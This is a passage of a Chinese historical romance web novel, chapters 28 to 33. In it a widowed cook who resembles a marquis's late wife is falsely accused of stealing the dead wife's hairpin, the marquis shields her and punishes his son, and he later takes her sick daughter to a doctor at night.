“现在,奴婢把它归还给大少爷,相信大少爷日后一定会守护好它的,对吗?”
她语调温软,如春风化雨一般,眼底也满是真诚。
裴朔瞳孔骤缩,心脏像是被一把钝刀,猛地切开了他一直以来强撑的冷酷。
他整个人如遭雷击,小小的身子晃了晃。
他听懂了。
她知道了。
但她没有拆穿他。
一股难堪爬上裴朔的脸颊,毕竟只有七岁,还做不到不动如山,情绪收敛。
他小手捏紧了那枚簪子,嘴里像被浸了一团棉花,半个字都吐不出来。
“我……”
“夫人!是你吗夫人!”
裴朔刚要张嘴,就被一声凄厉的哭喊打破。
第28章 再一次脸杀
众人惊了一跳,下意识回头望去。
只见一个头发半白、身形佝偻的老妇人,疯了一样地从台阶上跑下来,几步就窜到了沈令薇面前,‘扑通’一声就朝着她跪了下去。
“夫人,您终于回来了,五年了,老奴想您想得好苦啊……”
她一把抓住沈令薇的袖子,浑浊的眼睛死死盯着她的脸,眼泪瞬间夺眶而出,整个人都在颤抖。
沈令薇被吓了一跳,下意识想拉她起身:“老人家,您认错人了,我不是……”
“不!老奴不会认错!”孔嬷嬷声音凄厉,让人心碎。
“老奴跟了您二十年,怎么会认错?!”
裴朔站在原地,看着这一幕,也有些破防。
除了知晓内情的周管家,还有张嬷嬷,其余下人,皆满脸错愕,嘴巴张大得能塞下一个鸡蛋。
就连一旁的安安也震惊得双目圆睁,搂着小猫怯怯地退了几步。
“夫人呀,老奴是孔嬷嬷啊!是您的乳娘,您不记得老奴了么……”
孔嬷嬷还在哭,那凄厉的声音,简直是闻者落泪。
沈令薇一遍遍解释,可孔嬷嬷就是不听,像是认准了一样。
“夫人?您不认得老奴,那大少爷呢?”
孔嬷嬷像是突然想到什么,拉起一旁的裴朔:“您走后,大少爷一直内疚了整整五年,连落霞苑都不敢踏进来一步,现在好了,夫人,您回来了,您能原谅大少爷么……”
“老人家,您真的认错人了,奴婢是姓沈,是二少爷院子里的厨娘。”
裴朔张了张嘴,欲言又止。
他实在不忍心告诉孔嬷嬷这个血淋淋的事实。
最后,还是张嬷嬷上前,轻轻扶住孔嬷嬷颤抖的肩膀,叹了一声。
“老姐姐,我可以作证,这位确实是静和苑的厨娘,姓沈,前些日子才入的府。您仔细看看,她真的不是夫人。”
她接过旁边丫鬟手里的灯笼,举高了,凑到沈令薇脸旁。
烛火照亮了沈令薇大半张脸。
孔嬷嬷泪眼朦胧地看过去。
眉眼是像的,太像了。
可再细细一看,身形不对。
夫人是纤细单薄的,眼前这妇人,更丰腴些。
气质也不对。
夫人是温婉矜贵的大家闺秀,眼前这妇人虽也温柔,却多了几分市井的烟火气息。
孔嬷嬷眼底那抹狂喜,如同被寒霜打过的炭火一样,一寸寸熄灭下去。
是了。
夫人那会儿难产血崩,选择了保小。拼死生下了二少爷和三少爷。
是当着她的面咽的气啊。
“你……你不是夫人!”
孔嬷嬷悲从中来,完全受不了这突如其来的打击,眼泪流得更加汹涌,淌满了整张脸。
“老姐姐,您莫要伤了身子。”张嬷嬷叹气,将灯笼交给旁人,俯身相扶。
可孔嬷嬷却突然猛地推开她,转而目光如同刀子一样,剐在沈令薇身上。声音也尖厉起来。
“既然不是夫人,她为何会深更半夜出现在这里?还……还穿成这副模样!”
周管家上前一步,刚要开口——
“嬷嬷有所不知,”柱子却抢在他前面开口,指着沈令薇,“方才我和周管家途经此地,看见这妇人手里正拿着夫人的簪子,还谎称是自己捡到的。”
“可夫人的遗物何其贵重,向来都是被专门保管起来的,又怎会被随意地丢在此处?最近府里人人都在传,说这厨娘想要攀附侯爷,妄图……取代夫人在侯爷心中的位置。”
话落,孔嬷嬷周身的气势陡然一变。
她看向沈令薇,那目光和方才,简直判若两人。
没有了惊喜,没有了眼泪,只剩下审视,防备,还有隐隐的敌意。
长得像夫人又如何?
长得像,就可以深夜来偷夫人的遗物?
长得像,就可以冒充夫人?
孔嬷嬷直起了背,语气像是从牙缝里挤出来:“好,很好。你一个厨娘,顶着这样一张脸,竟然敢动夫人的东西?”
沈令薇蹙眉。
这侯府的人,怎么一个个的都这么不讲道理么?
“嬷嬷,事情还没问清楚……”裴朔见事态严重,想要开口阻止。
孔嬷嬷却伸手按在他肩头,并给了他一个意味深长的眼神,压低了声音,一语双关。
“大少爷放心,老奴是站在您这一边的。”
“这种蛇蝎心肠,目的不纯的女人,留不得!”
裴朔如同被拿捏了七寸,定在原地。
是了。
他偷走母亲的
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遗物,孔嬷嬷定是知情的。
此番若站出来保下这厨娘,那母亲的玉簪出现在此,又该作何解释?
可心底却又有一个声音在告诉自己,这厨娘本就是无辜的,而且,二弟的吃食还需依靠她。
若是父亲或祖母一怒之下,将她给发卖了。
那他日后岂不是要日日面对良心的谴责?
安安见势不妙,胆怯起来,小手死死地拽着沈令薇的衣襟:“娘亲,安安怕……”
“是安安错了,安安不该出来找团子……”
小女孩声音细细小小的,显得十分的柔弱,无助。
这一幕,刺痛了裴朔的眼睛,眉心拧成了一股绳。
他是不是做错了。
孔嬷嬷转身,朝周管家道:“管家,麻烦你先把人看好了,老奴这就去请侯爷。”
话音刚落,一道沉冷的声音骤然响起。
“不必请了。”
众人回头,只见裴谨之从门后的阴影里走出来,步伐有些轻,周身还带着淡淡的酒气。
月光洒落在裴谨之脸上,那张冷峻的面容上看不出什么表情。
但眼底深处,似藏着什么东西在翻涌。
孔嬷嬷见他出来,上前一步,抢先道:“侯爷,您来得正好。”
她伸手指着沈令薇,“这厨娘深夜出现在此,手里还拿着夫人的玉簪,侯爷,定是她居心不良,行此偷盗之事。”
裴谨之目光落在沈令薇身上。
月光下,她被几个家丁围着,衣裳被孔嬷嬷攥得有些皱,发丝散落。却下意识地将女儿护在身后。
她站在院子中央,背脊挺得笔直。
没有辩解,没有求饶,只是静静地看着他。
目光干净得像一潭深水,什么都有,又什么都没有。
裴谨之忽然想起方才在屋里,对着亡妻画像时的那种恍惚。
他快要记不住亡妻的脸。可眼前这张脸,却清清楚楚地印在脑海里。
当真只是因为长得像吗?
片刻后,裴谨之移开目光,看向孔嬷嬷:“东西呢?”
裴朔一愣,随即呈上那支玉簪:“在这儿。”
裴谨之接过来,看了一眼,随后极其自然地收入袖子里。
“簪子是本侯给她的。”
话落,满场死寂!
第29章 你是不是变心了?
“侯爷,您、您说什么?”
孔嬷嬷怀疑自己耳朵出了问题。
这簪子到底是谁拿的,她能不清楚吗?
侯爷为何要偏袒这妇人?
难道柱子刚才说的都是真的?
裴朔也满脸的不敢置信,呆呆的看着父亲,像是要捕捉他脸上的每一丝表情。
但裴谨之并没有多做解释,只淡淡道:“今日之事,到此为止。”
他吩咐管家:“今晚的事,本侯不想在府里听到半点风声,若是传出去一个字,你这管家之位,也趁早让贤。”
周管家身躯一战,忙不迭地应声:“侯爷放心,老奴定会封了他们的嘴。”
孔嬷嬷立在风中,一颗心坠到了谷底。
她太了解侯爷了,最重规矩,最敬亡妻。
可现在,侯爷竟然为了一个长得像夫人的厨娘,在夫人的门前,睁着眼睛说瞎话。
“侯爷……”孔嬷嬷张了张嘴,想说的话终究还是咽了回去。
她只是个老奴,再大的脸,也不能当众质问主子。
可她的眼神,已经说明了一切。
不解,震惊,还有一丝隐隐的……失望。
裴朔站在阴影里,像是一尊被雷劈中的小石像,满脸的不敢置信。
父亲为了这个女人撒谎。
为什么?
直到下人们都离开,沈令薇也被周管家安排的人送了回去。
院子里,就只剩下裴谨之,还有裴朔。
空气莫名地有些滞凝。
“父、父亲……”裴朔轻轻地唤了一声,不敢抬头看他。
裴谨之没说话,周身冷得仿佛能结出冰渣子,冷冷地丢下两个字。
“跟上。”
……
裴谨之带着长子,再次来到了亡妻的画像前。
屋里只点了一盏豆灯,烛火摇晃着,将亡妻的画像映得忽明忽暗。
裴谨之负手而立,周身戾气毕现。
“跪下。”
突如其来的两个字,让裴朔小小的身子一颤。
他咬唇,低着头,掀起锦袍,笔直地跪在地上。
裴谨之从袖子里取出那支白玉梅花簪,语气像是暴风雨前的宁静。
“说吧,今日这出戏,筹谋了多久?”
裴朔盯着地砖上的细纹,眼眶红得几乎要滴出血来,他攥紧小拳头,倔强地沉默着。
“不说是吗?”
裴谨之冷笑转身,“为了赶走一个厨娘,不惜监守自盗,拿你母亲生前最珍爱的遗物去当鱼饵。裴朔,你母亲若是泉下有知,看到她引以为傲的长子,如今竟学会了后宅妇人那套上不得台面的手段,你觉得,她会欣慰吗?”
“她不是无辜的!”
裴朔猛地抬起头,憋了许久的眼泪终于夺眶而出。
“她长了那样一张脸,就是她的罪!父亲明明看穿了柱子的谎言,却还要当众保她,甚至……甚至不惜亵渎母亲的名声,说那簪子是您给她的!”
他往前膝行了两步,伸手抓住裴谨之的袍角,声声控诉:
“父亲,您是不是变心了?”
“是不是真的像外人传言的那样,想让这个女人进来,取代母亲的位置?”
裴谨之转过身,静静地看着长子。
那目光里,有失望,有愤怒,还有一丝裴朔看不懂的东西。
“所以你就用你母亲的遗物,去设局陷害一个无辜的人?”
提到母亲,裴朔的身体晃了晃。
“今晚我若不解围,你可知她将面临什么?”
裴谨之一字一句,像敲打在裴朔的心脏上。
“盗取财物,被当成贼,关进柴房,严刑拷打,最后被发卖出府。这就是你想要的结果?”
裴朔咬了咬唇,眼眶有些红,“可她心思不纯,本就不该留在府里。”
“何为心思不纯?是你亲眼所见?还是亲耳所听?”裴谨之打断他。
“再者,你自小学习四书五经,典册史集,难道没听说过,眼见未必是真的道理?”
“难道只因她长得像你母亲,就该怀璧其罪?”
裴朔僵住,定定地看着父亲。
裴谨之转过身,望着亡妻的画像,叹道:“我今日保她,是因为你二弟如今的性命皆系在她的饭食上,更是为了保住你的名声。若任由孔嬷嬷闹大,查出所谓的真相,你日后良心何安?他日若你祖母知晓,又会如何看你?”
“一个真正的上位者,可以杀人,可以灭口,但绝不能用这种杀敌八百自损一千的下作手段。你今日不仅丢了你母亲的体面,更让我看到了你的短视与愚蠢。”
轰!
裴朔整个人定在那里,浑身血液都像被冻住。
父亲最后的那句‘短视与愚蠢’,像一把利剑,将他刺了个对穿。
多可笑!
他原本以为自己是在守护母亲,可现在看来,倒成了一个利用母亲的遗物作乱的小丑。
裴朔跪在冰冷的地砖上,膝盖的疼痛,远不及他内心的震荡。
他忽然想起刚才在门外,沈令薇蹲在他面前与他平视,告诉他说“簪子会冷,失去它的人,也会心疼。”
她明明看穿了他,可却什么都没说。
还把簪
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子还给他,给了他一个台阶,保全他的体面。
可他呢?
他用母亲的遗物,去伤害一个长得像母亲的人。
裴塑的呼吸开始发颤,眼泪大颗大颗砸在地砖上。
“父亲,孩儿……知错了。”
裴朔伏下身,额头重重地抵在冰冷的地面上。原本的骄傲被碾碎了一地。
如果今晚父亲没有出现,或者听信了谗言,那他不仅毁了一对无辜的母女,更毁了二弟唯一的‘生机’。
愧疚和悔意,像潮水一样将裴朔淹没。
裴谨之看着跪在地上的身影,酒意上头,眼前的画面似有些模糊。
“去给你母亲磕头。”
“之后便在此处,跪到天亮。”
丢下这一句,裴谨之没再多看他一眼,转身离开了落霞苑。
裴朔独自跪在冰凉的地板上,望着母亲温柔含笑的画像,那种被父亲羞辱后,自惭形秽的感觉,像虫子一样啃噬着他的内心。
不多时,房门被‘吱呀’一声推开。孔嬷嬷佝偻着身子,拿着一件毯子走了进来。
“大少爷……”她见到裴朔哭过的眼睛,眼泪差点掉下来。
“侯爷也真是狠心,您才多大,又是为了夫人的名声受累,他怎能这样罚您……”
裴朔推开那毯子,摇了摇头,表示不用。
孔嬷嬷叹了一声,语重心长地道:“大少爷,老奴知道你心里苦,可有些话,老奴却不得不说。”
“夫人虽然不在了,可她的东西,她的位置,谁也别想碰。那个厨娘,她长得像夫人,不能留。”
裴朔嘴唇动了动,轻轻吐出一句:“可她是无辜的……”
孔嬷嬷诧异的看着他;“大少爷,您是长子,是未来要撑起整个侯府的人,难道您真的愿意忍心看着一个小小的厨娘,凌驾于您和二少爷,三少爷之上,喊一个外人做母亲?”
裴朔心头像被什么东西狠狠一撞,“我……”
孔嬷嬷看着他,目光里满是心疼,随即涌上坚定。
“大少爷,您不用管这事,您呐,就好好读书,好好长大,日后考取功名,给夫人争光就是。”
“至于那个厨娘……”
孔嬷嬷抬头,望着侯夫人的画像,像是在喃喃自语:“老奴自有法子……”
“老奴不会让任何人,玷污了夫人的位置。”
裴朔张了张嘴,想说些什么,可喉咙就像被堵住了一样。
门被轻轻关上,屋里只剩下裴朔一人。
烛火跳动着,把他的影子拉得很长,很长。
-
第30章 不光白天辛苦,晚上也‘忙碌\’
与此同时,静和苑下人房。
沈令薇安抚好安安睡着后,自己坐在榻边,费力地解开裹胸布,还有缠在腰身的布条。
布条一圈一圈松开,每松一圈,胸口就像被释放了一分。可那些被勒了一整日的地方,此刻却火辣辣地疼起来。
她低头看了一眼。
胸口、肋下、腰部,都有深浅不一的暗红色痕迹。按下去隐隐作痛,有的地方还痒得钻心,皮下像是有蚂蚁在爬。
嘶!
沈令薇按了按,疼得倒吸一口凉气。
再这么下去,身体怕是会出毛病。
长期束胸,压迫肺部,呼吸会越来越浅短,腋下淋巴回流不畅,最容易诱发增生、炎症……
可她却不得不如此。
这张脸因为长得像侯夫人,已经招祸端。若再让人发现这身段……
她不敢想。
一个无权无势,还带着女儿的寡妇,偏偏生得这般容貌身段,犹如稚子抱金过市,步步惊心。
她起身走到柜子前,从箱笼里找出一瓶药油,拔掉塞子,倒了一些在掌心。
这是她进侯府前在药堂买的,专门活血化瘀,就是味道有些重。希望能缓解一些淤痕。
然,就在沈令薇按摩进行到一半的时候,院门突然被敲响了三声。
“咚咚咚。”
声音不大,但在寂静的夜里显得格外清晰。
沈令薇涂药的手顿住!
这么晚了,会是谁?
而且她现在衣衫半解,再缠上裹胸布,定然已经来不及了。
最后,她迅速套了件宽大的外袍穿在身上,打开了院门。
震惊的是,门外之人,竟然是裴谨之。依旧还带着些许酒气,那玄色的身躯仿佛与夜色融为一体。
“侯爷?”
沈令薇下意识地开口,“可是二少爷那边出了什么事?”
裴谨之目光落到她身上,微微一顿。酒意原本已经消散了五分,可此时看到眼前的女人,剩下的五分醉意似乎又涌了上来。
此刻的沈令薇,不再是白日里那个身形平直,甚至有些臃肿的厨娘。
她身上虽罩着件外袍,但由于披得仓促,那截白皙如玉的脖颈依旧暴露在外头,脸颊上也透着一股子不正常的绯红。
裴谨之一时间竟忘了回话。
感受到这诡异的氛围,沈令薇下意识地紧了紧袍子,并试图将胳膊横在前面,背部微微躬起,掩盖一些曲线。
“奴婢失仪了。”
她垂下头,声音透着一股拒人千里的疏离:“不知侯爷深夜来此,可是有什么吩咐?”
裴谨之移开目光,低着嗓子轻咳了声。
“无事,”他从袖子里取出一个布包,递给沈令薇。
“这里是五十两银子,算作方才给你的补偿。”
沈令薇诧异,下意识地推拒:“侯爷言重了,奴婢并未受到责罚,这银子不能收。”
她抬手将钱袋挡了回去,掌心碰到裴谨之的手背,又猛地一缩。
裴谨之眉头一皱,似有些不悦:“嫌少?”
沈令薇脑子转得飞快。
五十两,对她来说不是小数目,她当然想收。
但……
她抬头,语气不卑不亢的,“侯爷误会了,奴婢不是嫌银子少,只是怕这银子烫手。”
既然决定了要攒够银子带安安离开,送上门来的银子,当然得收。
但话,也要说清楚。
她像是纠结犹豫了一番,最终伸手,接过那钱袋。
“既然侯爷发话,奴婢若再推辞,倒显得不知好歹了。这五十两,权当是侯爷给的压惊银子,奴婢谢侯爷救命之恩。”
“奴婢日后定当尽心竭力,好好照顾二少爷,做好一个厨娘的本分。”
言下之意,对他并无旁的心思。
裴谨之目光微微一沉。
不知为何,看着她这副公事公办,银货两讫的模样,胸口竟莫名地生出一股燥郁。
沈令薇接过银子,急着想请这位“煞神”移步,手上的动作难免快了些。
可随着动作,原本就松松垮垮的袍子也就敞开了些。
空气中,那股子辛凉的药油味道便愈发浓郁了些。
裴谨之从一开始就闻到了味儿,原本正要移开目光时,却恰好扫到了她脖颈下方,有一处带着暗红的痕迹。
乍眼一看,竟像极了男女欢爱过后的印记。
裴谨之僵在原地,目光死死地锁住沈令薇的胸口,浑身气势霎时间一变。
沈令薇拿了银子正高兴,却感觉周遭空气突然变得凉飕飕的。
她抬头一看,目光正好撞上裴谨之的。
瞬间,沈令薇像被定住,娇躯忍不住一颤。
他的眼神,暗沉得像被侵犯领地的野兽,哪里还有半分先前的试探之意?
“侯、侯爷?”沈令薇下意识地护紧了钱袋子,那种没由来的压迫感让她下意识后退了一步。
裴谨之扯唇,突然冷笑了一声,声音像从
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牙缝里挤出来的:
“本侯倒是小瞧了你。”
“白日在静和苑辛劳,夜里……竟也是这般的‘忙碌’。看来这侯府的偏院里,沈厨娘的日子,倒是一点也不冷清。”
沈令薇听得一头雾水。
忙碌?
冷清?
他在说她吗?
不过她白天专司二少爷膳食,火候,食材,药性,都需她亲力亲为。
晚上要讲故事,哄睡,照顾安安,确实也不怎么得闲。
“侯爷明察,”她道,“奴婢既拿了高出一倍的工钱,辛苦一些都是应该的。奴婢以后也定会勤勤恳恳,照顾好二少爷的。”
裴谨之怒极反笑,胸腔里像有一头野兽要逃出来。
所以,她不仅不引以为耻,反引以为荣?
“沈令薇,”他唤她全名,“你可真是让本侯大开眼界!”
顶着一张和玉娘如此相似的脸,偏偏竟如此地不知廉耻,生性放荡。
她连玉娘的一根头发丝都比不上。
裴谨之说完,没再多看她一眼,冷脸离开了小院,步子迈得极大。
沈令薇立在原地,眉头紧紧皱了起来。
她想了半天也没想明白,到底哪句话触怒了他。
最后只能归结为:大概古代当官的心思都深,猜不透。
翌日,厨房。
银杏一边洗菜一边八卦:“沈姐姐,你听说没?昨晚侯爷不知怎的,深夜拉着陈凡在后园里练剑,练了一晚上,陈凡直接就倒下了。”
沈令薇手里的勺子顿了顿,“哦?”
她继续搅着锅里的粥,不予置评。
银杏又凑过来八卦:“沈姐姐,你说侯爷这是怎么了?昨儿不还好好的吗?”
沈令薇思考了一会儿,最后得出结论,“大概……是更年期综合症吧。”
银杏睁大眼睛:“……什么症?”
“更年期综合症,俗称……”她想了想,用银杏能听得懂的话解释,“就是人到中年,肝火旺盛,看什么都不顺眼,夜里睡不着觉,逮着人就折腾。咱们侯爷日理万机,偶尔这样,正常。”
银杏疑惑,“还有这种病?那……那得治啊!”
沈令薇忍不住笑了,把粥碗往她手里一塞:“行了,赶紧去给二少爷送膳,再不去粥该凉了。”
银杏还想再问,被她推着往外走:“可你还没说要怎么治呢?”
“多喝热水。”
“什么?”
“……”
-
第31章 她的一念之差
寿安苑内,檀香袅袅。
老夫人正听下人禀报明天去护国寺要带的香油和经卷,这时,张嬷嬷打帘进门。
“老夫人,孔嬷嬷来了,说是有事要与您相商。”
老夫人诧异。
自打儿媳崔氏去世后,她身边的这位老奴就主动请缨,去看守落霞苑,已经五年没出来走动了。
今日又是什么风,把她给吹了过来?
“宣她进来吧。”老夫人理了理鬓角,端坐在圈椅上。
不多时,孔嬷嬷被丫鬟领进门,老夫人看到她时,差点没认出来。
想当初,孔嬷嬷是儿媳身边的心腹婆子,跟在儿媳身后执掌整个侯府中馈,也是相当体面的,府里的下人见了她,都得恭恭敬敬唤她一声‘孔嬷嬷’。
可眼前这老人,头发花白,稀疏,背也驼了,走起路来颤颤巍巍的,像是随时要扶着点什么才能站稳。
唯有那双眼睛,还是亮的。
可那亮光里,再没了当年的精明和能干。
“孔嬷嬷,你……”老夫人见状,竟是忍不住的心酸。
不过五年时间,竟能让一个人变成这样。
“老奴给老夫人请安。”孔嬷嬷颤颤巍巍地要行礼。
老夫人赶忙摆手,“免了吧,赐座。”
孔嬷嬷笑着抬头,在丫鬟的搀扶下坐下来,“老夫人恕罪,老奴这模样,怕是吓着老夫人了……”
老夫人叹了一声:“你这是何苦?原本当初有意放你回乡养老,你也不至于……这些年,委屈你了。”
孔嬷嬷摇头:“老奴不委屈,守着夫人的院子,老奴心里踏实,只是……”
她叹了一声,“老奴每每看到三位小少爷无生母教导,这心里就……”
这话,也戳中了老夫人的心病。
三个孙子,没一个省心的。
大孙子性子冷清,寡淡,比起他爹小时候有过之而不及。
二孙子孤僻,易怒,到现在还没开口说话。但太医都说了,舌头,还有喉咙都没问题。
至于三孙子……唉,不提也罢。
老夫人也叹了口气,“谁说不是呢。可玉娘已经走了,说这些有什么用。”
孔嬷嬷沉默片刻,忽然抬起头,看着老夫人。
“老夫人,老奴斗胆,有些话,不知当讲不当讲。”说完,孔嬷嬷朝着周围的下人看了一眼。
老夫人会意,抬手让众人退下,只留下了张嬷嬷。
“有什么话,你可以说了。”
只见孔嬷嬷起身,径直跪在了地砖上,朝老夫人磕了个头,道:
“近日来,老奴时常梦见夫人,说她十分惦记三位小少爷,老奴看着昨晚大少爷受罚,这心里也跟油煎一样。”
老夫人脸色稍沉。
这件事,昨晚张嬷嬷就已经告诉了她。
可她并不觉得儿子的处罚有错。
大孙子的这种行为,确实太过了。若不加以制止,恐影响其心智成长。
“沈氏救过恪儿,是有功的,咱们府上,不兴那忘恩负义,过河拆桥之事。”老夫人眉头紧锁。
孔嬷嬷抹了把眼泪,压低声音:“老夫人明鉴。老奴说句僭越的话,沈厨娘确实是个能干的,可坏就坏在,她不该生那样一张脸。”
“侯爷虽端庄自持,可老奴能瞧出来,他心里也苦,夫人已经走了五年,眼下又有个夫人的影子在眼前晃荡,难保不会生出些别的心思。侯爷若真把她当做了夫人的替身,纳在身边,这叫日后新夫人进门,该如何自处啊?”
这话正中老夫人的软肋。
儿子因为亡妻之情一直不肯续弦,拒绝她安排的相看。
可沈令薇的身份,终究是个乡野寡妇,还带着个女儿,万不可能做侯府的主母。
若儿子真纳做了姨娘,三个孙子又跟沈令薇亲近,以后哪家的高门贵女还敢嫁进来?
就算有人肯嫁进来,儿子也必定会宠妾灭妻,后宅不宁。
见老夫人神色松动,孔嬷嬷目光闪烁,又道:“老奴有一想法,不知当讲不当讲。”
“……你且说来听听。”
“夫人的娘家,清河崔氏那边倒还有两位表小姐,与夫人同出一脉,性子气韵也都是极好的,
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若能寻来侯府小住几日,就说……是看望三位小外甥,明面上,旁人也挑不出错来……”
“若能得侯爷入眼,总好过一个乡野出身的厨娘,坏了侯府的门风。”
老夫人拨动佛珠的动作一顿。
是了。
媳妇的娘家,她怎么没想到呢?
儿子一直不肯续弦,不就是因为放不下死去的媳妇吗?
若是找来个媳妇的同族侄女,又是哥儿们的亲姨母,儿子即便是不看僧面看佛面,也断不会像拒绝旁人那样冷脸。
老夫人权衡良久,才道:“你倒是个忠心的,事事都在为侯府打算。”
孔嬷嬷声音哽咽:“老奴跟了夫人二十年,早把这里当成自己的家。老奴只盼着侯府好,盼着三个小主子好。旁的,老奴什么都不求。”
“罢了,这件事,就交由你去办吧。”老夫人叹道。
“先去崔家递个帖子,探探那边的口风。若那边愿意,再安排人来侯府小住些日子。”
孔嬷嬷俯身扣头,眼底满是志在必得的笑意:“老奴领命,定把这事办的妥帖。”
……
孔嬷嬷走后,屋里重新恢复了平静。
张嬷嬷在一旁犹豫半晌,终究还是开口问道:“老夫人,您这是……真的想好了?”
老夫人没睁眼,只淡淡道:“怎么?你觉得不妥?”
“老奴不敢,只是……那沈厨娘对二少爷毕竟是有恩的,又本分,若是日后表姑娘过来了,沈厨娘那边……”
老夫人睁眼,目光有些疲惫:“本分是本分,可侯府的门风,不能毁在一个下人手里。”
“再说了,孩子们都大了,总要有个正经的亲人,名正言顺的教导起来。”
张嬷嬷也明白老夫人的难处,“老夫人说的是,三位小少爷若能由亲姨母来教导,总归是比外人要好。”
彼时,老夫人并不知道,今日这一念之差,会成为日后推倒多米诺骨牌的第一只手。
她更不曾料到,那位所谓的‘表小姐’,会反逼得儿子彻底撕下那层“克己复礼”的伪装……
第32章 请求侯爷,救救安安
接下来,连续几日,沈令薇都没再见到裴谨之。
白日里她在静和苑当差,专司裴恪的一日三餐,余下的时间便带着安安陪他做些“康复的小游戏”。
裴恪对外界接触极度排斥,沈令薇便寻来洗净的干豆子、圆润的细沙和棉花,分别装在木箱中,引导他用手去抓握、搅拌。
这种深层触觉的刺激能缓解他精神上的紧绷,从而减少破坏和攻击行为。
她还命人用木板,在院子里搭起高低不平的小路,让安安牵着裴恪的手慢慢走过,这种平衡训练也能帮他建立空间感,增强对肢体控制的自信。
由于沈令薇的耐心引导,原本只沉浸在自己世界里的裴恪,眼神里竟逐渐多了一抹对外界的好奇。
这一日,因为突然下雨,安安在回来的时候不小心淋了点雨,夜里突然就发起了高热,梦呓不断。
沈令薇当时就急了。
安安身体底子不好,最近才刚养回来一点,这要再生一场病,先前怕是都白养了。
她抱起安安就要出府,去找大夫。
可正值夜里,侯府大门已经落了锁,门房又见她没有腰牌,死活不肯放她出府。
“侯府有规矩,夜里出府必须要有对牌,你就别为难咱们了。”门房对她道。
“而且听说最近北狄那边派了细作混入京城,夜里到处都有巡逻的卫队,万一你这出去被当成细作抓了,可不是闹着玩的。”
沈令薇抱着安安,一颗心沉到了谷底。
安安已经烧糊涂了,浑身滚烫得很。根本等不到明天早上。
就在她绝望之际,一辆马车由远及近,最后停在了角门前。
车帘掀开,露出一张冷峻,还带着倦容的脸来。
因着处理北狄细作的事,裴谨之已经连续好几日没有回府,一直留在衙门。
门房见到马车,慌忙打开门,点头哈腰地迎上去:
“侯爷回来了,快开门!”
裴谨之步下马车,正要进门,余光忽然瞥见站在门边,抱着孩子的沈令薇,脚步一顿。
“怎么回事?”
门房忙解释道:“回侯爷,是静和苑的沈厨娘。她女儿病了,想出府看大夫,可夜里没对牌,奴才正着人将她拦下呢。”
裴谨之的目光落在沈令薇身上。
女人正一脸无措地站在那里,低着头,肩膀有些颤抖。
他正要开口,却见沈令薇忽然朝他走了过来,膝盖一弯,竟是‘扑通’一声跪在地上。
“侯爷,奴婢的女儿烧了一夜,再不找大夫,怕是会出事。求侯爷开恩,容奴婢出府。奴婢日后定当结草衔环,以报侯爷恩德。”
裴谨之目光落到她怀里的小女孩脸上,五岁的小女孩,此时小脸烧得通红,嘴唇已经干得起皮,呼吸又短又急。
他没有犹豫,转身走向马车。
“跟上。”
沈令薇先是一愣,这才朝他道了声谢谢,赶忙抱起安安,跟在后面上了马车。
脚踩在马凳上的时候,沈令薇腿都在发抖,好在前面的裴谨之眼疾手快拉了她一把,才不至于跌倒。
沈令薇道过谢,抱着安安缩在马车厢的一角,贴着车厢壁坐着。
马车内,气氛沉闷得让人窒息。
车窗外,京城的深夜则冷清得渗人。
受北狄细作潜入的传言影响,往日繁华的街道,此刻空无一人,只有车轮毂行走在街道上的声音。
刚拐过一条街没多久,突然遇见一队巡逻的甲胄士兵。
“停下!例行检查!”
车外传来一阵整齐的脚步声,还有一道厉呵。
车厢猛地一顿,火把的红光透过车窗帘照进来,沈令薇惊了一跳,下意识抱紧了怀里的安安。
透过缝隙,她看到一位手持长枪的官兵,正拦在马路中间。
“车上何人?深夜出府,可有令牌?”
裴谨之没说话,从袖子里取出一块玄铁令牌,递了出去。
沈令薇余光看见,那令牌上刻着一个苍劲的‘裴’字。
那为首的官差接过令牌一看,脸色骤变,当即单膝跪地行礼。
“原来是首辅大人,末将多有冒犯,还请大人恕罪。”
官差一抬手,身后的兵丁立马齐刷刷收起长枪,让开道路。
裴谨之
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收回令牌,淡淡地道了句“辛苦”。马车继续前行。
沈令薇终于长长地松了口气,看着对面那个依旧闭目养神的男人,轻轻道了句:
“多谢侯爷。”
对方没说话,也没睁眼,像是没听见一般。半张脸隐在暗影里,浑身透着一股子生人勿近的气息。
一刻钟后,马车停在了京城最有名的医馆,回春堂。
只是时间太晚,医馆已经打烊了,大门紧闭。
沈令薇刚要抱着安安下马车,却被裴谨之叫住:“让车夫去。”
马车夫可能也是经常干这种事的,拿了包银子,没一会儿就敲开了房门,医馆里亮起了灯,一个睡眼惺忪的老大夫披着衣服坐在了堂前。
沈令薇赶紧把安安抱过去,“大夫,求求您一定要救救我女儿。”
老大夫把了会儿脉,嘴里不满地念叨:“非得等孩子烧成这样才送来,我说你们这些当父母的,心也太大了,要再晚来半个时辰,这孩子嗓子都要烧坏了。”
空气似乎有些波动,烛火微微晃动了一瞬。
沈令薇扭头,看见裴谨之不知何时立在了门口。
老大夫刚醒,大概眼神不好,竟把他认作了孩子的父亲,当场就开始数落。
“这孩子本就先天不足,你这当爹的也不着急,还让你娘子一个人抱着跑路……”
沈令薇急忙解释:“不是的大夫,您误会了,他不是……”
老大夫拿笔的动作顿了顿,目光在二人身上游移,“不是孩子的父亲?那你们这是……”
很显然,这三更半夜的,二人同坐一辆马车,冒着被巡逻队抓捕的风险。的确十分容易引发误会。
“他是……”
“少废话,你且开药就是。”
沈令薇张嘴想要解释,却被裴谨之先一步不耐烦地打断。
对于老大夫误会二人的关系,并没有做出解释。
大夫已经提笔,将注意力放在了开方子上,沈令薇张了张嘴,最终也没再解释。
罢了,侯爷这么做,定有他的道理。
或许是因为北狄细作的事,他不好暴露身份。
第33章 奴婢冒犯了侯爷
老大夫施了针,又开了药,让药僮去后院煎。
约莫半个时辰后,安安灌下一碗苦药,烧总算退了些,沉沉睡去。
沈令薇抱着安安,千恩万谢地告辞。
这一番折腾下来,已经将近子时。也正是人最为困倦的时候。
沈令薇折腾许久,早已疲惫不堪,加上悬着的一颗心终于落地,上马车后,就像坐在摇篮里一样,困意开始铺天盖地地袭来。
她终于撑不住,阖上了眼,脑袋也像小鸡啄米一样,一点一点地。
就在此时,车轱辘突然碾过一块石头,车厢朝着一边剧烈地偏移。
“哐当!”
“啊——!”
沈令薇惊呼出声,本能地护住怀里的安安,但自身却因为惯性直直地朝对面扑过去。
她看到坚硬的车壁就在眼前,赶紧双眼紧闭,不敢去面对那血淋淋的一幕。
就在此时,腰上多出一只大手,正如同滚烫的铁钳一般,牢牢地箍住她。
沈令薇带着安安,同时落入了一个宽厚坚实的怀抱。鼻息间全是裴谨之身上那股冷冽的男性气息,还混合着松木香。
